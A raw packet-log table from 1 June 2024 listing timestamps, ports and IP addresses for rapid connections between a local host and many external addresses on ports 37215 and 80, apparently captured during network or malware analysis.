Jun 1, 2024 18:15:51.231981039 CEST	37215	60650	197.196.135.225	192.168.2.23
Jun 1, 2024 18:15:51.231997013 CEST	80	43496	211.99.64.72	192.168.2.23
Jun 1, 2024 18:15:51.231997013 CEST	60650	37215	192.168.2.23	197.204.252.240
Jun 1, 2024 18:15:51.232011080 CEST	60650	37215	192.168.2.23	197.196.135.225
Jun 1, 2024 18:15:51.232012987 CEST	37215	60650	41.37.194.142	192.168.2.23
Jun 1, 2024 18:15:51.232028961 CEST	43496	80	192.168.2.23	211.99.64.72
Jun 1, 2024 18:15:51.232040882 CEST	80	43496	12.60.94.166	192.168.2.23
Jun 1, 2024 18:15:51.232040882 CEST	60650	37215	192.168.2.23	41.37.194.142
Jun 1, 2024 18:15:51.232057095 CEST	37215	60650	197.116.98.90	192.168.2.23
Jun 1, 2024 18:15:51.232072115 CEST	80	43496	115.133.188.49	192.168.2.23
Jun 1, 2024 18:15:51.232078075 CEST	43496	80	192.168.2.23	12.60.94.166
Jun 1, 2024 18:15:51.232086897 CEST	80	43496	184.196.182.183	192.168.2.23
Jun 1, 2024 18:15:51.232089996 CEST	60650	37215	192.168.2.23	197.116.98.90
Jun 1, 2024 18:15:51.232101917 CEST	37215	60650	41.2.91.70	192.168.2.23
Jun 1, 2024 18:15:51.232103109 CEST	43496	80	192.168.2.23	115.133.188.49
Jun 1, 2024 18:15:51.232115984 CEST	37215	60650	197.105.195.16	192.168.2.23
Jun 1, 2024 18:15:51.232120037 CEST	43496	80	192.168.2.23	184.196.182.183
Jun 1, 2024 18:15:51.232132912 CEST	80	43496	45.225.135.111	192.168.2.23
Jun 1, 2024 18:15:51.232136011 CEST	60650	37215	192.168.2.23	41.2.91.70
Jun 1, 2024 18:15:51.232145071 CEST	37215	60650	156.16.46.183	192.168.2.23
Jun 1, 2024 18:15:51.232152939 CEST	60650	37215	192.168.2.23	197.105.195.16
Jun 1, 2024 18:15:51.232163906 CEST	43496	80	192.168.2.23	45.225.135.111
Jun 1, 2024 18:15:51.232163906 CEST	37215	60650	156.171.137.148	192.168.2.23
Jun 1, 2024 18:15:51.232177019 CEST	60650	37215	192.168.2.23	156.16.46.183
Jun 1, 2024 18:15:51.232180119 CEST	37215	60650	156.196.25.91	192.168.2.23
Jun 1, 2024 18:15:51.232193947 CEST	37215	60650	41.173.183.208	192.168.2.23
Jun 1, 2024 18:15:51.232197046 CEST	60650	37215	192.168.2.23	156.171.137.148
Jun 1, 2024 18:15:51.232206106 CEST	37215	60650	156.226.50.214	192.168.2.23
Jun 1, 2024 18:15:51.232212067 CEST	60650	37215	192.168.2.23	156.196.25.91
Jun 1, 2024 18:15:51.232223034 CEST	60650	37215	192.168.2.23	41.173.183.208
Jun 1, 2024 18:15:51.232225895 CEST	80	43496	142.211.133.251	192.168.2.23
Jun 1, 2024 18:15:51.232239008 CEST	37215	60650	197.182.229.98	192.168.2.23
Jun 1, 2024 18:15:51.232242107 CEST	60650	37215	192.168.2.23	156.226.50.214
Jun 1, 2024 18:15:51.232259989 CEST	43496	80	192.168.2.23	142.211.133.251
Jun 1, 2024 18:15:51.232268095 CEST	60650	37215	192.168.2.23	197.182.229.98
Jun 1, 2024 18:15:51.232511997 CEST	37215	60650	156.40.53.163	192.168.2.23
Jun 1, 2024 18:15:51.232547998 CEST	60650	37215	192.168.2.23	156.40.53.163
Jun 1, 2024 18:15:51.232570887 CEST	37215	60650	156.48.91.210	192.168.2.23
Jun 1, 2024 18:15:51.232584953 CEST	80	43496	73.217.209.233	192.168.2.23
Jun 1, 2024 18:15:51.232599974 CEST	37215	60650	41.206.145.246	192.168.2.23
Jun 1, 2024 18:15:51.232600927 CEST	60650	37215	192.168.2.23	156.48.91.210
Jun 1, 2024 18:15:51.232605934 CEST	43496	80	192.168.2.23	73.217.209.233
Jun 1, 2024 18:15:51.232618093 CEST	37215	60650	41.161.41.44	192.168.2.23
Jun 1, 2024 18:15:51.232635021 CEST	80	43496	62.125.192.204	192.168.2.23
Jun 1, 2024 18:15:51.232640028 CEST	60650	37215	192.168.2.23	41.206.145.246
Jun 1, 2024 18:15:51.232650042 CEST	60650	37215	192.168.2.23	41.161.41.44
Jun 1, 2024 18:15:51.232662916 CEST	37215	60650	197.51.172.250	192.168.2.23
Jun 1, 2024 18:15:51.232666016 CEST	43496	80	192.168.2.23	62.125.192.204
Jun 1, 2024 18:15:51.232676029 CEST	37215	60650	197.157.214.83	192.168.2.23
Jun 1, 2024 18:15:51.232691050 CEST	37215	60650	156.28.31.59	192.168.2.23
Jun 1, 2024 18:15:51.232696056 CEST	60650	37215	192.168.2.23	197.51.172.250
Jun 1, 2024 18:15:51.232707024 CEST	60650	37215	192.168.2.23	197.157.214.83
Jun 1, 2024 18:15:51.232707977 CEST	37215	60650	156.175.165.211	192.168.2.23
Jun 1, 2024 18:15:51.232719898 CEST	60650	37215	192.168.2.23	156.28.31.59
Jun 1, 2024 18:15:51.232728004 CEST	80	43496	160.111.239.221	192.168.2.23
Jun 1, 2024 18:15:51.232741117 CEST	37215	60650	197.166.48.48	192.168.2.23
Jun 1, 2024 18:15:51.232741117 CEST	60650	37215	192.168.2.23	156.175.165.211
Jun 1, 2024 18:15:51.232757092 CEST	43496	80	192.168.2.23	160.111.239.221
Jun 1, 2024 18:15:51.232758045 CEST	37215	60650	41.11.93.229	192.168.2.23
Jun 1, 2024 18:15:51.232768059 CEST	80	43496	155.155.192.23	192.168.2.23
Jun 1, 2024 18:15:51.232772112 CEST	60650	37215	192.168.2.23	197.166.48.48
Jun 1, 2024 18:15:51.232786894 CEST	37215	60650	156.55.233.129	192.168.2.23
Jun 1, 2024 18:15:51.232789040 CEST	60650	37215	192.168.2.23	41.11.93.229
Jun 1, 2024 18:15:51.232796907 CEST	37215	60650	41.140.205.240	192.168.2.23
Jun 1, 2024 18:15:51.232801914 CEST	43496	80	192.168.2.23	155.155.192.23
Jun 1, 2024 18:15:51.232816935 CEST	60650	37215	192.168.2.23	156.55.233.129
Jun 1, 2024 18:15:51.232825041 CEST	80	43496	96.98.33.14	192.168.2.23
Jun 1, 2024 18:15:51.232829094 CEST	60650	37215	192.168.2.23	41.140.205.240
Jun 1, 2024 18:15:51.232840061 CEST	80	43496	145.175.127.95	192.168.2.23
Jun 1, 2024 18:15:51.232851982 CEST	43496	80	192.168.2.23	96.98.33.14
Jun 1, 2024 18:15:51.232851982 CEST	80	43496	5.92.94.71	192.168.2.23
Jun 1, 2024 18:15:51.232867002 CEST	43496	80	192.168.2.23	145.175.127.95
Jun 1, 2024 18:15:51.232868910 CEST	80	43496	70.160.198.130	192.168.2.23
Jun 1, 2024 18:15:51.232882977 CEST	80	43496	193.237.162.248	192.168.2.23
Jun 1, 2024 18:15:51.232882977 CEST	43496	80	192.168.2.23	5.92.94.71
Jun 1, 2024 18:15:51.232897043 CEST	37215	60650	41.220.128.142	192.168.2.23
Jun 1, 2024 18:15:51.232913017 CEST	80	43496	52.52.219.229	192.168.2.23
Jun 1, 2024 18:15:51.232914925 CEST	43496	80	192.168.2.23	70.160.198.130
Jun 1, 2024 18:15:51.232920885 CEST	43496	80	192.168.2.23	193.237.162.248
Jun 1, 2024 18:15:51.232925892 CEST	60650	37215	192.168.2.23	41.220.128.142
Jun 1, 2024 18:15:51.232944012 CEST	43496	80	192.168.2.23	52.52.219.229
Jun 1, 2024 18:15:51.233103991 CEST	37215	60650	41.155.147.167	192.168.2.23
Jun 1, 2024 18:15:51.233139038 CEST	37215	60650	197.208.45.58	192.168.2.23
Jun 1, 2024 18:15:51.233139992 CEST	60650	37215	192.168.2.23	41.155.147.167
Jun 1, 2024 18:15:51.233151913 CEST	80	43496	130.125.198.63	192.168.2.23
Jun 1, 2024 18:15:51.233167887 CEST	37215	60650	41.87.146.231	192.168.2.23
Jun 1, 2024 18:15:51.233171940 CEST	60650	37215	192.168.2.23	197.208.45.58
Jun 1, 2024 18:15:51.233177900 CEST	37215	60650	41.43.232.171	192.168.2.23
Jun 1, 2024 18:15:51.233185053 CEST	43496	80	192.168.2.23	130.125.198.63
Jun 1, 2024 18:15:51.233196974 CEST	80	43496	191.201.248.212	192.168.2.23
Jun 1, 2024 18:15:51.233205080 CEST	60650	37215	192.168.2.23	41.87.146.231
Jun 1, 2024 18:15:51.233206987 CEST	60650	37215	192.168.2.23	41.43.232.171
Jun 1, 2024 18:15:51.233223915 CEST	37215	60650	41.64.149.152	192.168.2.23
Jun 1, 2024 18:15:51.233228922 CEST	43496	80	192.168.2.23	191.201.248.212
Jun 1, 2024 18:15:51.233237982 CEST	37215	60650	197.250.108.141	192.168.2.23
Jun 1, 2024 18:15:51.233253002 CEST	37215	60650	41.74.34.25	192.168.2.23
Jun 1, 2024 18:15:51.233258009 CEST	60650	37215	192.168.2.23	41.64.149.152
Jun 1, 2024 18:15:51.233269930 CEST	37215	60650	156.104.46.167	192.168.2.23
Jun 1, 2024 18:15:51.233270884 CEST	60650	37215	192.168.2.23	197.250.108.141
Jun 1, 2024 18:15:51.233282089 CEST	60650	37215	192.168.2.23	41.74.34.25
Jun 1, 2024 18:15:51.233280897 CEST	37215	60650	41.162.89.129	192.168.2.23
Jun 1, 2024 18:15:51.233298063 CEST	37215	60650	156.120.1.228	192.168.2.23
Jun 1, 2024 18:15:51.233299971 CEST	60650	37215	192.168.2.23	156.104.46.167
Jun 1, 2024 18:15:51.233314991 CEST	60650	37215	192.168.2.23	41.162.89.129
Jun 1, 2024 18:15:51.233314991 CEST	37215	60650	156.58.250.89	192.168.2.23
Jun 1, 2024 18:15:51.233329058 CEST	37215	60650	156.242.144.251	192.168.2.23
Jun 1, 2024 18:15:51.233330011 CEST	60650	37215	192.168.2.23	156.120.1.228
Jun 1, 2024 18:15:51.233345985 CEST	37215	60650	197.99.57.184	192.168.2.23
Jun 1, 2024 18:15:51.233347893 CEST	60650	37215	192.168.2.23	156.58.250.89
Jun 1, 2024 18:15:51.233356953 CEST	60650	37215	192.168.2.23	156.242.144.251
Jun 1, 2024 18:15:51.233370066 CEST	80	43496	96.15.103.15	192.168.2.23
Jun 1, 2024 18:15:51.233376026 CEST	60650	37215	192.168.2.23	197.99.57.184
Jun 1, 2024 18:15:51.233381987 CEST	80	43496	134.170.133.223	192.168.2.23
Jun 1, 2024 18:15:51.233398914 CEST	80	43496	34.59.107.122	192.168.2.23
Jun 1, 2024 18:15:51.233398914 CEST	43496	80	192.168.2.23	96.15.103.15
Jun 1, 2024 18:15:51.233411074 CEST	43496	80	192.168.2.23	134.170.133.223
Jun 1, 2024 18:15:51.233409882 CEST	37215	60650	156.41.53.10	192.168.2.23
Jun 1, 2024 18:15:51.233427048 CEST	80	43496	168.77.118.249	192.168.2.23
Jun 1, 2024 18:15:51.233433962 CEST	60650	37215	192.168.2.23	156.41.53.10
Jun 1, 2024 18:15:51.233433962 CEST	43496	80	192.168.2.23	34.59.107.122
Jun 1, 2024 18:15:51.233455896 CEST	43496	80	192.168.2.23	168.77.118.249
Jun 1, 2024 18:15:51.233679056 CEST	80	43496	110.196.186.43	192.168.2.23
Jun 1, 2024 18:15:51.233705044 CEST	37215	60650	41.210.101.111	192.168.2.23
Jun 1, 2024 18:15:51.233716965 CEST	43496	80	192.168.2.23	110.196.186.43
Jun 1, 2024 18:15:51.233716965 CEST	37215	60650	197.86.110.172	192.168.2.23
Jun 1, 2024 18:15:51.233738899 CEST	60650	37215	192.168.2.23	41.210.101.111
Jun 1, 2024 18:15:51.233740091 CEST	60650	37215	192.168.2.23	197.86.110.172
Jun 1, 2024 18:15:51.233756065 CEST	80	43496	219.150.91.224	192.168.2.23
Jun 1, 2024 18:15:51.233769894 CEST	80	43496	82.117.213.195	192.168.2.23
Jun 1, 2024 18:15:51.233783960 CEST	43496	80	192.168.2.23	219.150.91.224
Jun 1, 2024 18:15:51.233786106 CEST	80	43496	169.104.90.145	192.168.2.23
Jun 1, 2024 18:15:51.233802080 CEST	43496	80	192.168.2.23	82.117.213.195
Jun 1, 2024 18:15:51.233814955 CEST	37215	60650	156.124.140.219	192.168.2.23
Jun 1, 2024 18:15:51.233828068 CEST	80	43496	57.138.130.88	192.168.2.23
Jun 1, 2024 18:15:51.233834982 CEST	43496	80	192.168.2.23	169.104.90.145
Jun 1, 2024 18:15:51.233849049 CEST	37215	60650	41.223.254.97	192.168.2.23
Jun 1, 2024 18:15:51.233850002 CEST	60650	37215	192.168.2.23	156.124.140.219
Jun 1, 2024 18:15:51.233865023 CEST	37215	60650	41.106.206.179	192.168.2.23
Jun 1, 2024 18:15:51.233880043 CEST	43496	80	192.168.2.23	57.138.130.88
Jun 1, 2024 18:15:51.233880997 CEST	60650	37215	192.168.2.23	41.223.254.97
Jun 1, 2024 18:15:51.233882904 CEST	37215	60650	156.133.178.148	192.168.2.23
Jun 1, 2024 18:15:51.233897924 CEST	80	43496	166.113.198.110	192.168.2.23
Jun 1, 2024 18:15:51.233910084 CEST	37215	60650	197.220.224.101	192.168.2.23
Jun 1, 2024 18:15:51.233916044 CEST	60650	37215	192.168.2.23	41.106.206.179
Jun 1, 2024 18:15:51.233937025 CEST	37215	60650	197.247.104.25	192.168.2.23
Jun 1, 2024 18:15:51.233947039 CEST	43496	80	192.168.2.23	166.113.198.110
Jun 1, 2024 18:15:51.233947992 CEST	60650	37215	192.168.2.23	156.133.178.148
Jun 1, 2024 18:15:51.233949900 CEST	60650	37215	192.168.2.23	197.220.224.101
Jun 1, 2024 18:15:51.233952045 CEST	37215	60650	197.127.92.171	192.168.2.23
Jun 1, 2024 18:15:51.233968973 CEST	80	43496	202.213.78.95	192.168.2.23
Jun 1, 2024 18:15:51.233972073 CEST	60650	37215	192.168.2.23	197.247.104.25
Jun 1, 2024 18:15:51.233974934 CEST	60650	37215	192.168.2.23	197.127.92.171
Jun 1, 2024 18:15:51.233984947 CEST	80	43496	5.52.48.228	192.168.2.23
Jun 1, 2024 18:15:51.233994007 CEST	37215	60650	197.4.211.18	192.168.2.23
Jun 1, 2024 18:15:51.234003067 CEST	43496	80	192.168.2.23	202.213.78.95
Jun 1, 2024 18:15:51.234010935 CEST	43496	80	192.168.2.23	5.52.48.228
Jun 1, 2024 18:15:51.234013081 CEST	80	43496	73.201.184.74	192.168.2.23
Jun 1, 2024 18:15:51.234025955 CEST	80	43496	93.234.195.8	192.168.2.23
Jun 1, 2024 18:15:51.234025955 CEST	60650	37215	192.168.2.23	197.4.211.18
Jun 1, 2024 18:15:51.234045029 CEST	80	43496	50.99.141.79	192.168.2.23
Jun 1, 2024 18:15:51.234050989 CEST	43496	80	192.168.2.23	73.201.184.74
Jun 1, 2024 18:15:51.234061003 CEST	43496	80	192.168.2.23	93.234.195.8
Jun 1, 2024 18:15:51.234061956 CEST	37215	60650	197.189.1.108	192.168.2.23
Jun 1, 2024 18:15:51.234071970 CEST	80	43496	58.76.146.106	192.168.2.23
Jun 1, 2024 18:15:51.234074116 CEST	43496	80	192.168.2.23	50.99.141.79
Jun 1, 2024 18:15:51.234173059 CEST	43496	80	192.168.2.23	58.76.146.106
Jun 1, 2024 18:15:51.234178066 CEST	60650	37215	192.168.2.23	197.189.1.108
Jun 1, 2024 18:15:51.234432936 CEST	80	43496	35.0.244.69	192.168.2.23
Jun 1, 2024 18:15:51.234442949 CEST	37215	60650	41.211.130.69	192.168.2.23
Jun 1, 2024 18:15:51.234462976 CEST	80	43496	109.100.207.113	192.168.2.23
Jun 1, 2024 18:15:51.234469891 CEST	60650	37215	192.168.2.23	41.211.130.69
Jun 1, 2024 18:15:51.234471083 CEST	43496	80	192.168.2.23	35.0.244.69
Jun 1, 2024 18:15:51.234472990 CEST	80	43496	180.143.213.225	192.168.2.23
Jun 1, 2024 18:15:51.234493971 CEST	43496	80	192.168.2.23	109.100.207.113
Jun 1, 2024 18:15:51.234505892 CEST	37215	60650	197.188.152.88	192.168.2.23
Jun 1, 2024 18:15:51.234508038 CEST	43496	80	192.168.2.23	180.143.213.225
Jun 1, 2024 18:15:51.234519005 CEST	37215	60650	197.12.228.28	192.168.2.23
Jun 1, 2024 18:15:51.234534025 CEST	80	43496	58.223.140.194	192.168.2.23
Jun 1, 2024 18:15:51.234539032 CEST	60650	37215	192.168.2.23	197.188.152.88
Jun 1, 2024 18:15:51.234550953 CEST	37215	60650	156.163.4.95	192.168.2.23
Jun 1, 2024 18:15:51.234551907 CEST	60650	37215	192.168.2.23	197.12.228.28
Jun 1, 2024 18:15:51.234565973 CEST	43496	80	192.168.2.23	58.223.140.194
Jun 1, 2024 18:15:51.234568119 CEST	37215	60650	197.43.47.156	192.168.2.23
Jun 1, 2024 18:15:51.234584093 CEST	60650	37215	192.168.2.23	156.163.4.95
Jun 1, 2024 18:15:51.234592915 CEST	80	43496	171.156.171.93	192.168.2.23
Jun 1, 2024 18:15:51.234596014 CEST	60650	37215	192.168.2.23	197.43.47.156
Jun 1, 2024 18:15:51.234606981 CEST	37215	60650	41.122.82.116	192.168.2.23
Jun 1, 2024 18:15:51.234620094 CEST	80	43496	204.196.234.202	192.168.2.23
Jun 1, 2024 18:15:51.234636068 CEST	80	43496	65.162.92.19	192.168.2.23
Jun 1, 2024 18:15:51.234647036 CEST	80	43496	123.139.222.150	192.168.2.23
Jun 1, 2024 18:15:51.234661102 CEST	37215	60650	197.115.245.225	192.168.2.23
Jun 1, 2024 18:15:51.234677076 CEST	80	43496	212.195.154.51	192.168.2.23
Jun 1, 2024 18:15:51.234689951 CEST	80	43496	147.255.119.67	192.168.2.23
Jun 1, 2024 18:15:51.234690905 CEST	60650	37215	192.168.2.23	197.115.245.225
Jun 1, 2024 18:15:51.234690905 CEST	60650	37215	192.168.2.23	41.122.82.116
Jun 1, 2024 18:15:51.234692097 CEST	43496	80	192.168.2.23	171.156.171.93
Jun 1, 2024 18:15:51.234695911 CEST	43496	80	192.168.2.23	123.139.222.150
Jun 1, 2024 18:15:51.234700918 CEST	43496	80	192.168.2.23	204.196.234.202
Jun 1, 2024 18:15:51.234704018 CEST	43496	80	192.168.2.23	65.162.92.19
Jun 1, 2024 18:15:51.234709978 CEST	37215	60650	41.125.47.182	192.168.2.23
Jun 1, 2024 18:15:51.234718084 CEST	43496	80	192.168.2.23	147.255.119.67
Jun 1, 2024 18:15:51.234719038 CEST	43496	80	192.168.2.23	212.195.154.51
Jun 1, 2024 18:15:51.234731913 CEST	80	43496	65.18.214.230	192.168.2.23
Jun 1, 2024 18:15:51.234744072 CEST	37215	60650	156.82.118.76	192.168.2.23
Jun 1, 2024 18:15:51.234745979 CEST	60650	37215	192.168.2.23	41.125.47.182
Jun 1, 2024 18:15:51.234757900 CEST	37215	60650	41.111.111.199	192.168.2.23
Jun 1, 2024 18:15:51.234761000 CEST	43496	80	192.168.2.23	65.18.214.230
Jun 1, 2024 18:15:51.234774113 CEST	80	43496	139.244.33.12	192.168.2.23
Jun 1, 2024 18:15:51.234781981 CEST	60650	37215	192.168.2.23	41.111.111.199
Jun 1, 2024 18:15:51.234782934 CEST	60650	37215	192.168.2.23	156.82.118.76
Jun 1, 2024 18:15:51.234803915 CEST	43496	80	192.168.2.23	139.244.33.12
Jun 1, 2024 18:15:51.235209942 CEST	37215	60650	197.250.195.170	192.168.2.23
Jun 1, 2024 18:15:51.235223055 CEST	37215	60650	41.205.195.219	192.168.2.23
Jun 1, 2024 18:15:51.235235929 CEST	37215	60650	41.83.33.106	192.168.2.23
Jun 1, 2024 18:15:51.235241890 CEST	60650	37215	192.168.2.23	197.250.195.170
Jun 1, 2024 18:15:51.235255003 CEST	60650	37215	192.168.2.23	41.205.195.219
Jun 1, 2024 18:15:51.235263109 CEST	80	43496	111.19.104.79	192.168.2.23
Jun 1, 2024 18:15:51.235271931 CEST	37215	60650	156.1.144.19	192.168.2.23
Jun 1, 2024 18:15:51.235274076 CEST	60650	37215	192.168.2.23	41.83.33.106
Jun 1, 2024 18:15:51.235280991 CEST	80	43496	138.28.103.44	192.168.2.23
Jun 1, 2024 18:15:51.235296965 CEST	80	43496	42.35.72.240	192.168.2.23
Jun 1, 2024 18:15:51.235308886 CEST	37215	60650	156.172.178.238	192.168.2.23
Jun 1, 2024 18:15:51.235315084 CEST	43496	80	192.168.2.23	111.19.104.79
Jun 1, 2024 18:15:51.235316038 CEST	43496	80	192.168.2.23	138.28.103.44
Jun 1, 2024 18:15:51.235320091 CEST	60650	37215	192.168.2.23	156.1.144.19
Jun 1, 2024 18:15:51.235332012 CEST	80	43496	51.94.141.181	192.168.2.23
Jun 1, 2024 18:15:51.235342026 CEST	80	43496	191.143.12.11	192.168.2.23
Jun 1, 2024 18:15:51.235347986 CEST	43496	80	192.168.2.23	42.35.72.240
Jun 1, 2024 18:15:51.235353947 CEST	37215	60650	197.9.221.108	192.168.2.23
Jun 1, 2024 18:15:51.235373974 CEST	80	43496	77.237.113.30	192.168.2.23
Jun 1, 2024 18:15:51.235385895 CEST	80	43496	104.243.59.179	192.168.2.23
Jun 1, 2024 18:15:51.235394001 CEST	60650	37215	192.168.2.23	156.172.178.238
Jun 1, 2024 18:15:51.235402107 CEST	60650	37215	192.168.2.23	197.9.221.108
Jun 1, 2024 18:15:51.235403061 CEST	43496	80	192.168.2.23	51.94.141.181
Jun 1, 2024 18:15:51.235414982 CEST	43496	80	192.168.2.23	191.143.12.11
Jun 1, 2024 18:15:51.235414982 CEST	43496	80	192.168.2.23	104.243.59.179
Jun 1, 2024 18:15:51.235416889 CEST	80	43496	191.66.16.95	192.168.2.23
Jun 1, 2024 18:15:51.235421896 CEST	43496	80	192.168.2.23	77.237.113.30
Jun 1, 2024 18:15:51.235430002 CEST	37215	60650	197.101.207.203	192.168.2.23
Jun 1, 2024 18:15:51.235441923 CEST	80	43496	38.41.197.123	192.168.2.23
Jun 1, 2024 18:15:51.235452890 CEST	43496	80	192.168.2.23	191.66.16.95
Jun 1, 2024 18:15:51.235455036 CEST	37215	60650	156.14.89.71	192.168.2.23
Jun 1, 2024 18:15:51.235461950 CEST	60650	37215	192.168.2.23	197.101.207.203
Jun 1, 2024 18:15:51.235467911 CEST	80	43496	42.135.36.96	192.168.2.23
Jun 1, 2024 18:15:51.235475063 CEST	43496	80	192.168.2.23	38.41.197.123
Jun 1, 2024 18:15:51.235485077 CEST	80	43496	47.75.213.243	192.168.2.23
Jun 1, 2024 18:15:51.235491991 CEST	60650	37215	192.168.2.23	156.14.89.71
Jun 1, 2024 18:15:51.235495090 CEST	43496	80	192.168.2.23	42.135.36.96
Jun 1, 2024 18:15:51.235493898 CEST	80	43496	74.62.135.255	192.168.2.23
Jun 1, 2024 18:15:51.235510111 CEST	37215	60650	41.208.121.48	192.168.2.23
Jun 1, 2024 18:15:51.235517025 CEST	43496	80	192.168.2.23	47.75.213.243
Jun 1, 2024 18:15:51.235522032 CEST	80	43496	130.189.169.85	192.168.2.23
Jun 1, 2024 18:15:51.235529900 CEST	43496	80	192.168.2.23	74.62.135.255
Jun 1, 2024 18:15:51.235544920 CEST	60650	37215	192.168.2.23	41.208.121.48
Jun 1, 2024 18:15:51.235558987 CEST	43496	80	192.168.2.23	130.189.169.85
Jun 1, 2024 18:15:51.235759020 CEST	37215	60650	156.76.249.157	192.168.2.23
Jun 1, 2024 18:15:51.235795021 CEST	80	43496	78.162.154.223	192.168.2.23
Jun 1, 2024 18:15:51.235809088 CEST	37215	60650	197.184.157.59	192.168.2.23
Jun 1, 2024 18:15:51.235831976 CEST	80	43496	142.132.224.127	192.168.2.23
Jun 1, 2024 18:15:51.235845089 CEST	37215	60650	197.196.240.229	192.168.2.23
Jun 1, 2024 18:15:51.235858917 CEST	37215	60650	156.63.25.238	192.168.2.23
Jun 1, 2024 18:15:51.235872030 CEST	37215	60650	197.104.167.40	192.168.2.23
Jun 1, 2024 18:15:51.235883951 CEST	80	43496	144.132.175.249	192.168.2.23
Jun 1, 2024 18:15:51.235898018 CEST	80	43496	128.237.87.244	192.168.2.23
Jun 1, 2024 18:15:51.235905886 CEST	80	43496	190.179.107.118	192.168.2.23
Jun 1, 2024 18:15:51.235932112 CEST	80	43496	63.110.17.169	192.168.2.23
Jun 1, 2024 18:15:51.235944033 CEST	37215	60650	197.241.174.222	192.168.2.23
Jun 1, 2024 18:15:51.235954046 CEST	37215	60650	197.193.202.8	192.168.2.23
Jun 1, 2024 18:15:51.235965014 CEST	37215	60650	156.149.40.70	192.168.2.23
Jun 1, 2024 18:15:51.235980034 CEST	80	43496	207.163.74.83	192.168.2.23
Jun 1, 2024 18:15:51.235991001 CEST	80	43496	164.154.63.102	192.168.2.23
Jun 1, 2024 18:15:51.236006975 CEST	37215	60650	41.211.240.105	192.168.2.23
Jun 1, 2024 18:15:51.236018896 CEST	37215	60650	41.220.187.93	192.168.2.23
Jun 1, 2024 18:15:51.236032009 CEST	80	43496	213.112.156.126	192.168.2.23
Jun 1, 2024 18:15:51.236043930 CEST	80	43496	138.94.150.86	192.168.2.23
Jun 1, 2024 18:15:51.236152887 CEST	43496	80	192.168.2.23	142.132.224.127
Jun 1, 2024 18:15:51.236152887 CEST	60650	37215	192.168.2.23	156.76.249.157
Jun 1, 2024 18:15:51.236152887 CEST	60650	37215	192.168.2.23	197.196.240.229
Jun 1, 2024 18:15:51.236162901 CEST	60650	37215	192.168.2.23	156.63.25.238
Jun 1, 2024 18:15:51.236165047 CEST	60650	37215	192.168.2.23	197.184.157.59
Jun 1, 2024 18:15:51.236165047 CEST	43496	80	192.168.2.23	144.132.175.249
Jun 1, 2024 18:15:51.236166954 CEST	43496	80	192.168.2.23	78.162.154.223
Jun 1, 2024 18:15:51.236167908 CEST	43496	80	192.168.2.23	128.237.87.244
Jun 1, 2024 18:15:51.236167908 CEST	60650	37215	192.168.2.23	197.104.167.40
Jun 1, 2024 18:15:51.236169100 CEST	60650	37215	192.168.2.23	156.149.40.70
Jun 1, 2024 18:15:51.236174107 CEST	43496	80	192.168.2.23	190.179.107.118
Jun 1, 2024 18:15:51.236175060 CEST	60650	37215	192.168.2.23	41.211.240.105
Jun 1, 2024 18:15:51.236181974 CEST	43496	80	192.168.2.23	63.110.17.169
Jun 1, 2024 18:15:51.236186981 CEST	43496	80	192.168.2.23	207.163.74.83
Jun 1, 2024 18:15:51.236192942 CEST	60650	37215	192.168.2.23	41.220.187.93
Jun 1, 2024 18:15:51.236193895 CEST	60650	37215	192.168.2.23	197.241.174.222
Jun 1, 2024 18:15:51.236193895 CEST	43496	80	192.168.2.23	164.154.63.102
Jun 1, 2024 18:15:51.236193895 CEST	60650	37215	192.168.2.23	197.193.202.8
Jun 1, 2024 18:15:51.236268997 CEST	80	43496	57.137.86.143	192.168.2.23
Jun 1, 2024 18:15:51.236278057 CEST	43496	80	192.168.2.23	213.112.156.126
Jun 1, 2024 18:15:51.236284971 CEST	43496	80	192.168.2.23	138.94.150.86
Jun 1, 2024 18:15:51.236295938 CEST	37215	60650	197.121.4.59	192.168.2.23
Jun 1, 2024 18:15:51.236305952 CEST	37215	60650	156.222.97.234	192.168.2.23
Jun 1, 2024 18:15:51.236306906 CEST	43496	80	192.168.2.23	57.137.86.143
Jun 1, 2024 18:15:51.236319065 CEST	37215	60650	156.91.91.64	192.168.2.23
Jun 1, 2024 18:15:51.236329079 CEST	60650	37215	192.168.2.23	197.121.4.59
Jun 1, 2024 18:15:51.236330986 CEST	80	43496	75.123.139.247	192.168.2.23
Jun 1, 2024 18:15:51.236344099 CEST	37215	60650	156.131.198.44	192.168.2.23
Jun 1, 2024 18:15:51.236350060 CEST	60650	37215	192.168.2.23	156.91.91.64
Jun 1, 2024 18:15:51.236351967 CEST	60650	37215	192.168.2.23	156.222.97.234
Jun 1, 2024 18:15:51.236356974 CEST	43496	80	192.168.2.23	75.123.139.247
Jun 1, 2024 18:15:51.236371040 CEST	60650	37215	192.168.2.23	156.131.198.44
Jun 1, 2024 18:15:51.236371994 CEST	37215	60650	41.197.177.102	192.168.2.23
Jun 1, 2024 18:15:51.236386061 CEST	80	43496	45.54.154.2	192.168.2.23
Jun 1, 2024 18:15:51.236397982 CEST	80	43496	79.200.178.191	192.168.2.23
Jun 1, 2024 18:15:51.236411095 CEST	80	43496	25.59.203.225	192.168.2.23
Jun 1, 2024 18:15:51.236422062 CEST	37215	60650	156.226.15.15	192.168.2.23
Jun 1, 2024 18:15:51.236427069 CEST	43496	80	192.168.2.23	45.54.154.2
Jun 1, 2024 18:15:51.236433029 CEST	37215	60650	41.250.185.98	192.168.2.23
Jun 1, 2024 18:15:51.236447096 CEST	80	43496	96.89.145.86	192.168.2.23
Jun 1, 2024 18:15:51.236469984 CEST	80	43496	1.87.98.245	192.168.2.23
Jun 1, 2024 18:15:51.236479044 CEST	60650	37215	192.168.2.23	41.250.185.98
Jun 1, 2024 18:15:51.236486912 CEST	80	43496	24.57.198.69	192.168.2.23
Jun 1, 2024 18:15:51.236479044 CEST	60650	37215	192.168.2.23	156.226.15.15
Jun 1, 2024 18:15:51.236502886 CEST	37215	60650	156.170.39.60	192.168.2.23
Jun 1, 2024 18:15:51.236511946 CEST	43496	80	192.168.2.23	1.87.98.245
Jun 1, 2024 18:15:51.236515999 CEST	80	43496	157.0.231.43	192.168.2.23
Jun 1, 2024 18:15:51.236529112 CEST	37215	60650	197.49.217.1	192.168.2.23
Jun 1, 2024 18:15:51.236535072 CEST	60650	37215	192.168.2.23	156.170.39.60
Jun 1, 2024 18:15:51.236536980 CEST	80	43496	194.13.164.229	192.168.2.23
Jun 1, 2024 18:15:51.236555099 CEST	37215	60650	156.227.243.239	192.168.2.23
Jun 1, 2024 18:15:51.236571074 CEST	37215	60650	156.240.147.17	192.168.2.23
Jun 1, 2024 18:15:51.236571074 CEST	60650	37215	192.168.2.23	197.49.217.1
Jun 1, 2024 18:15:51.236572981 CEST	43496	80	192.168.2.23	194.13.164.229
